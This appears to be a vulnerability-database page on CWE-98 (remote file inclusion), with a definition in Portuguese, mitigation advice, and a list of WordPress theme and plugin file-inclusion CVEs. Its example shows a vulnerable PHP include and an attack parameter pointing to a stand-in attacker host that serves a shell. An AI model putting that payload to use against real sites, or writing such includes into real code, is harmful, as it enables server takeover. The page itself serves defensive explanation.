Fallos del tipo CWE-98

1305 resultados

Inclusão Remota de Arquivo

Fraqueza onde a aplicação inclui ou executa um arquivo cujo caminho é controlado (total ou parcialmente) por um atacante, frequentemente via parâmetros GET/POST. Se o servidor não valida a origem, um atacante pode fazer a aplicação carregar código malicioso de um servidor externo, levando a execução arbitrária com privilégios da app.

Ejemplo

Um PHP com `include($_GET['page'].'.php')` onde o atacante passa `page=http://atacante.com/shell` acaba incluindo e executando um script malicioso hospedado remotamente, concedendo acesso total ao servidor.

Cómo mitigar

Valide e normalize qualquer entrada de usuário antes de usar em include/require; use uma whitelist de arquivos permitidos; desabilite `allow_url_include` no PHP; implemente controle de acesso e isolamento de sessão. Nunca confie em entrada externa para construir caminhos de arquivo.

CVE-2025-48293CRITICALWordPress Geo Mashup plugin <= 1.13.16 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2026-22401HIGHWordPress Freshio theme <= 2.4.2 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69162HIGHWordPress Grecko theme <= 5.17 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69167HIGHWordPress Eros theme <= 1.3 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69113HIGHWordPress Nexio theme <= 1.10.0 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69105HIGHWordPress Modernee theme <= 1.6.0 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69157HIGHWordPress Gamic theme <= 1.15 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69107HIGHWordPress Rosaleen theme <= 2.8 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69116HIGHWordPress Iona theme <= 1.0.8 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69159HIGHWordPress Printo theme <= 1.11 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69173HIGHWordPress Tipsy theme <= 1.1 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69172HIGHWordPress Resurs theme <= 1.3 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-68983HIGHWordPress Greenmart theme <= 4.2.11 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69160HIGHWordPress Gita theme <= 1.11 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69166HIGHWordPress Gunslinger theme <= 1.7 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69150HIGHWordPress Medeus theme <= 1.14 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69163HIGHWordPress WineShop theme <= 3.17 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69148HIGHWordPress Quirky theme <= 1.23 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69119HIGHWordPress Corbesier theme <= 1.15.0 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69165HIGHWordPress Choreo theme <= 1.6 - Local File Inclusion vulnerabilityEPSS 0.4%